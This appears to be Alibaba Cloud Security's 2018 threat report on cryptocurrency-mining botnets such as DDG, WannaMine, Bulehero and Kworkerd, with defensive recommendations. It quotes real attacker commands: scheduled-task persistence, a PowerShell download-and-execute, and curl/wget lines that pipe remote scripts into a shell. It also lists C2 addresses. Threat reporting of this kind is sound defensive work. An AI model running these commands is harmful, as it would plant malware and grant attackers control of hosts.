2018 Cryptocurrency mining hijacker report2018 Cryptocurrency
Mining Hijacker Report
Alibaba Cloud Security
January 20191

2018 Cryptocurrency mining hijacker report

Author: Fan Wu
The author would like to acknowledge the contribution from: Weibo Guo, Nianjing
Wu, Yong Chen, Yue Xu, Jincheng Liu, Chaoxin Wan, Hongliang Liu, and Yohai Einav.

2018 saw a constant stream of malicious mining events. Although cryptocurrency
value depreciated after a boom period, mining was still the most popular method
for hackers to monetize their skills. With the industrialization of malicious
cryptocurrency miners, more and more 0-day and N-day vulnerabilities were
exploited for mining a short time after being first exposed. At the same time,for various historical reasons, applications with weak passwords and improper
permission configurations on cloud servers have also become hot targets formalicious mining activities.
For the foreseeable future, hackers will continue to exploit vulnerabilities forcryptocurrency mining. The compromised hosts may also be used by these
attackers as a springboard to launch further attacks. This report analyzes thecurrent state of malicious crypotocurrency mining and provides security protection
recommendations for individuals and enterprises based on Alibaba Cloud’s datafrom 2018.

Key takeaways○ Popular 0-day and N-day vulnerabilities have become the entry point formalicious cryptocurrency miners. To avoid it, users must fix 0-day vulnerabilities ina short period of time.
○ Non-web-based applications exposed to public networks are the favorite targets

of malicious cryptocurrency miners.
○ Cryptocurrency mining hijackers widely exploit brute-force attacks to distribute,where weak passwords still constitute the biggest loophole across the Internet.
○ Mining trojans generally spread as worms and maximize their value by persistingon the compromised hosts.
○ Cryptocurrency mining hijackers avoid security analysis and trail tracing throughdisguised processes, shell-protection, code obfuscation, and private mining pools(via proxy).

2

2018 Cryptocurrency mining hijacker report

Attack trend analysis[Popular 0-day and N-day vulnerabilities have become the “entries” for malicious
cryptocurrency miners. Users must fix 0-day vulnerabilities in a limited amount oftime.]In 2018, a number of widely used web applications were subject to high-risk
vulnerabilities, posing major security threats to the entire Internet. The security
community analyzed the vulnerabilities data and shared the details, which made exploit
scripts accessible on the Internet.
Cryptocurrency mining hijackers never give up these handy “entries”. In addition, someN-day vulnerabilities that have not been widely fixed are often exploited by malicious
cryptocurrency miners. For example, deserialization vulnerabilities and Struts series
remote execution vulnerabilities have been popular in recent years. The following figure
shows the timeline of some hotspot 0-day and N-day vulnerabilities widely exploited bymalicious cryptocurrency miners.

JbossMiner exploits Javadeserialization vulnerabilitiesin JBoss

Rocke exploits Jenkins deserialization
vulnerabilities(CVE-2017-1000353)
for mininggBulehero,Ibus and other Cryptocurrency
miners exploit ThinkPHP remotecommand execution

2018/082018/04
2018/032018/078220 Group exploits Drupal Remotecommand execuriton vulnerabilities(CVE-2018-7600)

Rocke exploits Struts2 vulnerabilities
for mining

2018/12

Alibaba Cloud has discovered that the time interval between disclosure and largescale exploitation of 0-day vulnerabilities is getting shorter. For example, JBoss
deserialization vulnerabilities were discovered in May 2017. Their large-scale exploitation
by JbossMiner started from the end of 2017 and peaked in March 2018. In 2018, thetime interval from exposure of Drupal and ThinkPHP remote command execution
vulnerabilities to their large-scale exploitation was less than one month. Therefore, users
who fail to fix high-risk 0-day vulnerabilities in time are likely to suffer from malicious
mining.
[Non-web-based applications exposed to public networks are the favorite targets
of malicious cryptocurrency miners.]
Enterprises security teams pay high attention to potential security threats to web
applications. They also deploy security products such as WAF, RASP, and vulnerability
scanning products to enhance the security of web applications.
In contrary, non-web applications (such as ApsaraDB for Redis, Hadoop, and SQL
Server) are not the core applications of enterprises. Therefore, the investment in security
reinforcement and vulnerability fixing for non-web applications is far less than that of web
applications. As a result, high-risk vulnerabilities often remain unfixed, so cryptocurrency
mining hijackers can continue to exploit these persistent vulnerabilities on the Internet.

3

2018 Cryptocurrency mining hijacker report

For example, the DDG botnet continues exploiting the unauthorized access to ApsaraDB
for Redis.
The following figure shows the timeline of non-web application vulnerabilities exploitedby cryptocurrency mining hijackers in 2018.

8220 botnet exploits improper
configurations in Hadoop Yarn todeploy malicious minerg

WannaMine botnet exploits EternalBlue
for propagation
2018/032018/01

RDPMiner cracks RDP ports for
propagation and mining
2018/072018/05
8220 aims at Couchdb(CVE-2017-12635/12636)

2018/10DockerKiller exploits improper
configurations in Docker for
propagation[Cryptocurrency mining hijackers widely exploit brute-force attacks to distribute,where weak passwords are still the major loopholes to the Internet.]
The following figure shows the percentage of web applications and non-web
applications that are compromised for mining. We can see that SSH, RDP, and SQL
Server applications are the primary interest of malicious cryptocurrency miners. These
applications are often compromised by mining viruses as a result of brute-force attacks
against weak passwords. To this end, the identity authentication problem due to weakpasswords is still a major threat to the Internet.

4

2018 Cryptocurrency mining hijacker report

Malicious behaviors[Mining trojans generally spread as worms.]
After planting the mining trojans into the compromised hosts, most cryptocurrency
mining hijackers will continue to control these hosts, and use them to scan and attack
other hosts, using malicious tools such as DDG, DockerKiller, and RDPMiner.
These mining trojans spread very quickly and are extremely difficult to eliminate because
they use hosts compromised by malware to attack other hosts. If the attacked hosts
have vulnerabilities or configuration issues, they will quickly succumb to attack.
A few cryptocurrency mining hijackers directly control some hosts to initiate network
attacks. In such cases, they only implant mining trojans into the compromised hosts,
but do not spread further. 8220 is a typical malicious cryptocurrency miner of this type.
This type of malicious cryptocurrency miner generally employs a variety of vulnerability
exploitation techniques, with a fast vulnerability update speed.
[Cryptocurrency mining hijackers maximize their value by persisting on thecompromised hosts.]
Most cryptocurrency mining hijackers try to maximize their value by persisting on thecompromised hosts. Typically, in Linux systems, cryptocurrency mining hijackers use
crontab to set commands that are executed periodically. In Windows systems, theyusually use schtask and WMI for the purpose of persistence.
The following schtask command is executed by the Bulehero Trojan to add periodic tasks:

cmd /c schtasks /create /sc minute /mo 1 /tn “Miscfost” /ru system /tr “cmd /c C:\Windows\ime\scvsots.exe”
cmd /c schtasks /create /sc minute /mo 1 /tn “Netframework” /ru system /tr“cmd /c echo Y|cacls C:\Windows\scvsots.exe /p everyone:F”
In another example, the WannaMine trojan uses WMI to add scheduled tasks. The script
is as follows:

cmd /c echo powershell -nop “$a=([string](Get-WMIObject -Namespaceroot\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null)-or (!($a.contains(‘SCM Event Filter’)))) {IEX(New-Object Net.WebClient).
DownloadString(‘http[:]//stafftest.spdns[.]eu:8000/mate6.ps1’)}”>%temp%\y1.bat && SCHTASKS /create /RU System /SC DAILY /TN yastcat /f /TR “%temp%\y1.bat” &&SCHTASKS /run /TN yastcat<c/ode>[Cryptocurrency mining hijackers avoid security analysis and trail tracing throughdisguised processes, shell-protection, code obfuscation, and private mining pools(via proxy).]5

2018 Cryptocurrency mining hijacker report

Disguise
The Bulehero mining network uses a virus downloader process named scvsots.exe,
which looks similar to a normal svchost.exe program in Windows systems. Additional
malicious programs use ‘benign’ names, such as taskhsot.exe, taskmgr.exe, and Java.
Security researchers may be able to identify that a legitimate program has been replaced
by a malicious software by examining the program path, the binary hashing value,or reverse-engineering the binary file. However, for common O&M personnel, files
disguised as normal system files are very difficult to identify by human analysis.
During the botnet mining analysis, we found that most trojan binary programs are shellprotected. UPX, VMP, and sfxrar are the three most common shell protectors in Windows
systems, as shown in the following figure. For example, almost every malicious programused by RDPMiner is shell-protected with UPX, VMP, or sfxrar.

Obfuscation
In addition to disguise, the malicious scripts used by cryptocurrency mining hijackers
are often obfuscated. As shown in the following figure, the JbossMiner mining botnet
obfuscates and encrypts VBS malicious scripts:

62018 Cryptocurrency mining hijacker report

Although scripts can be de-obfuscated or decrypted in many ways during manual
analysis, encryption and obfuscation are still two effective means to evade the detection
by antivirus software.
Privacy
Cryptocurrency mining hijackers use their own wallet addresses to connect to public
crypto-mining pools. These wallets may sometimes be banned by mining pools due
to complaints. For example, the wallet address 8220 was banned by the mining poolmonerohash.com due to botnet activities. Cryptocurrency mining hijackers tend touse mining pool proxies or private mining pools to avoid being banned. Therefore, thesecurity researchers have difficulties to estimate the number and scale of compromised
hosts from the HashRate and payment history data by the public mining pools.

Overview of major cryptocurrency minerhijackers
1. DDGThe DDG mining botnet has been extremely active since its first appearance at the endof 2017. The main malicious programs are written in the Go language, which hinders
research and analysis by security personnel. Frequent program configuration changes
and technical upgrades made it the most dangerous mining botnet in 2018.
1) Major vulnerabilities exploited○ OrientDB vulnerability (in the early stage)○ Unauthorized access to ApsaraDB for Redis○ SSH weak passwords
2) Major malicious behaviors○ The attacker exploits vulnerabilities to download, extract, and run multiple malicious
programs that have scanning, mining, and other functions.
3) Main command control and update methods○ The malware uses multiple IP addresses such as 104.236.156.211 for malicious script
distribution.
○ The botnet usually uses the CC ports 8000 or 8443.

7

2018 Cryptocurrency mining hijacker report

4) Mining network structure○ The DDG mining botnet controls the compromised hosts and runs the following
command to download the i.sh script.

/bin/sh -c curl -L http://104.236.156.211:8000/i.sh | sh

The i.sh script will download additional DDGS malicious programs and mining programs.
In just over a year, DDG has undergone multiple rounds of updates. The main version
has evolved from 201X to 301X. At time of this report, the latest observed minor version
is version 3019. The structure and functions of each module are shown in the following
figure:2. 8220
Unique among the many mining botnets, 8220 uses a mining trojan because it does not
spread as a worm, but exploits known vulnerabilities.
Theoretically, this mode of propagation is slower and more precarious than other wormborne botnets like DDG, yet 8220 has still infected a large number of hosts.
1) Major vulnerabilities exploited○ WebLogic XMLDecoder deserialization vulnerability○ Drupal remote code execution vulnerability

8

2018 Cryptocurrency mining hijacker report○ JBoss deserialization command execution vulnerability○ CouchDB combination vulnerability○ Unauthorized access to ApsaraDB for Redis○ Unauthorized access to Hadoop Yarn

2) Major malicious behaviors○ The attacker exploits vulnerabilities to download, extract, and run multiple malicious
programs that have scanning, mining, and other functions.
○ The malware decrypts the miner in the data segment, selects a zombie process, andinjects the miner into the zombie process for mining.
3) Main command, control and update methods○ The malware uses multiple servers as malicious program distribution platforms andcontrols the compromised hosts to download malicious programs.
4) Mining network structure

3. Mykings (a.k.a the Hidden)
Mykings (also known as the Hidden) was mentioned and reported first by multiple
security vendors in 2017. It emerged in 2014 and remains very active to the current
day. The botnet is sophisticated: it integrates the functions of malicious programs suchas Mirai and Masscan. Its payload and UAC-bypassing use sophisticated encryption
and obfuscation technologies to cover up its attack intentions and evade detection by
antivirus software and analysis by security researchers. At the end of November 2018,
Mykings was discovered working with Bootkit to enhance the level of threat.
1) Major vulnerabilities exploited
The mining botnet spreads based on a malicious program named msinfo.exe, whichscans and cracks ports such as 1433 with brute force. Other target ports and services
include:○ 3306 MySQL○ 135 WMI
○ 22 SSH○ 445 IPC
○ 23 Telnet○ 80 Web9

2018 Cryptocurrency mining hijacker report○ 3389 RDP

2) Major malicious behaviors○ The attacker exploits vulnerabilities to download, extract, and run multiple malicious
programs that have scanning, mining, and other functions.
○ Working with Bootkit, Mykings modifies MBR Bootkit after trojans are implanted.
3) Main command, control and update methods○ The malware uses multiple servers as malicious program distribution platforms andcontrols the compromised hosts to download malicious programs.
4) Mining network structure
Mykings consists of attack modules, downloading scripts, and multiple malicious trojans
such as Mirai. The attack modules integrate Masscan, which can efficiently scan andattack other hosts.

4. Bulehero
1) Major vulnerabilities exploited
When it emerged in mid-2018, Bulehero distributed in several common ways, such as
exploiting EternalBlue, Struts2, and WebLogic vulnerabilities, cracking port 1433 (SQL
Server) on internal network hosts, and attacking IPC remote connections. By the end of
2018, Bulehero began to exploit the ThinkPHP remote command execution vulnerability
to intrude into a new batch of hosts.
2) Major malicious behaviors
The attacker exploits vulnerabilities to download, extract, and run multiple malicious
programs that have scanning, mining, and other functions.
3) Main command, control and update methods
The malware obtains a downloader from an a46.bulehero.in server and executes the
script to further download and release multiple malicious programs that have scanning,mining, and other functions.

102018 Cryptocurrency mining hijacker report

4) Mining network structure

5. RDPMiner
RDPMiner began to distribute in October 2018 and has changed its mining program
name for multiple times since then.
1) Major vulnerabilities exploited○ RDP weak passwords
2) Major malicious behaviors○ The attacker exploits vulnerabilities to download, extract, and run multiple malicious
programs that have scanning, mining, and other functions.
○ The malware disables Windows firewalls and adds startup items.
The malware adds malicious user accounts.
3) Main command, control and update methods○ The botnet uses 111.63.225.242 as the file distribution server.
4) Mining network structure11

2018 Cryptocurrency mining hijacker report

6. JbossMiner
As firstly discovered and reported by the Alibaba Cloud Security Team in March 2018,the malicious program sample of JbossMiner was captured from the honeypot and was
packaged by py2exe. The sample was unpacked and decompiled into a complete attack
program written in the Python language. The program contains dozens of files, including
source code libraries and dependency libraries. JbossMiner exploits different malicious
programs for compromised Windows and Linux system hosts.
1) Major vulnerabilities exploited○ JBoss deserialization vulnerability (primary)○ Struts2 remote command execution vulnerability○ EternalBlue vulnerability2) Major malicious behaviors○ The attacker exploits vulnerabilities to download, extract, and run multiple malicious
programs that have scanning, mining, and other functions.
3) Main command, control and update methods○ The botnet uses enjoytopic.esy.es and other websites as distribution platforms.
4) Mining network structure

7. WannaMine
WannaMine is a worm-borne botnet. It was once described by CrowdStrike as “living off
the land” because, on a compromised host, its malicious program will first try to log on
to other hosts with the passwords collected by Mimikatz. If the logon fails, the malicious
program exploits the EternalBlue vulnerability to attack other hosts.
1) Major vulnerabilities exploited○ EternalBlue vulnerability

122018 Cryptocurrency mining hijacker report○ RDP weak passwords or multiple hosts with the same password

2) Major malicious behaviors○ The attacker exploits vulnerabilities to download, extract, and run multiple malicious
programs that have scanning, mining, and other functions.
○ The malware dumps user passwords from memory.
3) Main command, control and update methods○ The botnet uses http://118.184.48.95:8000 as the file distribution platform.
4) Mining network structure

8. Kworkerd
Kworkerd is a mining botnet that exploits the unauthenticated access of ApsaraDB for
Redis. It is named Kworkerd because its mining program name is disguised as a normal
process name, Kworkerd, in Linux systems.
1) Major vulnerabilities exploited○ Unauthorized access to ApsaraDB for Redis
2) Major malicious behaviors○ The attacker exploits vulnerabilities to download, extract, and run multiple malicious
programs that have scanning, mining, and other functions.
○ The malware replaces the /etc/ld.so.preload file and hijacks the Linux system
functions through preloading, so that top, ps, and other commands cannot detect mining
processes.
3) Main command, control and update methods○ The botnet uses Pastebin as the file distribution platform.
4) Mining network structure13

2018 Cryptocurrency mining hijacker report○ The compromised host first downloads the https://pastebin.com/raw/xbY7p5Tb file.

The file content is as follows:(curl -fsSL https://pastebin.com/raw/uuYVPLXd||wget -q -O- https://pastebin.
com/raw/uuYVPLXd)|base64 -d|/bin/bash
After executing the script, the host requests https://pastebin.com/raw/uuYVPLXd, which
has a script similar to those of preceding cryptocurrency mining hijackers after being
decoded. This will clear similar mining programs, download and execute its own mining
programs, and scan for internal network hosts for further intrusion.
Kworkerd exploits only one type of vulnerabilities, but a large number of hosts havebeen compromised by it. Users must constantly pay attention to database security
configurations.
9. DockerKiller
With the increasing popularity of microservices, more and more enterprises use
containers to deploy applications. However, the security of Docker, the preferredcontainer for microservices, was not scrutinized closely enough before being deployed ata large scale. In August 2018, unauthorized access due to improper Docker configurations
was exploited by cryptocurrency mining hijackers in large batches.
1) Major vulnerabilities exploited○ Unauthenticated access to Docker
2) Major malicious behaviors○ The attacker exploits vulnerabilities to download, extract, and run multiple malicious
programs that have scanning, mining, and other functions.
○ The malware disables Windows firewalls.
○ The malware adds startup items.
○ The malware adds malicious user accounts.
3) Main command, control and update methods
Bots download the script auto.sh from http://159.203.21.239, which serves as adownloader to further download the programs required for subsequent intrusion andmining.

http://159.203.21.239
auto.sh14

Bots

2018 Cryptocurrency mining hijacker report

The complete list of server files is as follows:4) Mining network structure15

2018 Cryptocurrency mining hijacker report

Security advices
Today, although digital currencies are in a slump, the downward pressure on theeconomy may provide an incentive for potential criminal activities. Alibaba Cloud
predicts that in 2019 the volume of mining activities will remain at a high level. With
the popularization of mining and vulnerability exploitation knowledge, the number ofmalicious mining players may stabilize and slightly increase.
In this context, Alibaba Cloud Security Team provides the following security
recommendations for enterprises and individuals:○ The weakest link in a security system is the user, and the most serious security issues

are often a consequence of laziness. For instance, weak passwords and brute-force
cracking account for 50% of mining activities. Security awareness education is essential
for enterprises and individuals.
○ The 0-day vulnerability fixing period is getting shorter, so enterprises need to improvethe efficiency of their emergency vulnerability responses. On the one hand, they should
actively update application systems. On the other hand, they should pay attention to
product security announcements and make the corresponding upgrades in a timely
manner. They can also purchase fully managed security services to improve their security
levels.
○ With elastic computing resources in the cloud, the risks to some non-web network

applications are also increasing. Security O&M personnel should focus on the security
risks associated with non-web applications, or enterprises should purchase firewall
products with IPS functions to protect against 0-day vulnerabilities right away.

16

2018 Cryptocurrency mining hijacker report

References
1.

Mykings’ Latest Mining Activities Are Exposed
https://x.threatbook.cn/nodev4/vb4/article?threatInfoID=936

2.

Mykings: The Most Active Network Hacker Gang
https://www.huorong.cn/info/150097083373.html

3.

DDG Targets Database Servers, Earning Revenues of Nearly RMB 8 Million
http://www.4hou.com/technology/11770.html

4.

Bulehero Again Exploits EternalBlue to Spread in Enterprise Internal Networks
https://www.freebuf.com/column/180544.html

5.

JbossMiner Mining Analysis
https://xz.aliyun.com/t/2189

6.

Kworkerd Mining Analysis
https://www.anquanke.com/post/id/159497

7.

Threat Hunting, the Investigation of Fileless Malware Attacks
https://www.pandasecurity.com/mediacenter/pandalabs/threat-hunting-fileless-attacks/

8.

Cryptomining: Harmless Nuisance or Disruptive Threat?
https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/9.

Traceability Analysis on Suspected “8220” in China
https://ti.360.net/blog/articles/8220-mining-gang-in-china/

10. http://ju.outofmemory.cn/entry/354000

17

2018 Cryptocurrency mining hijacker report18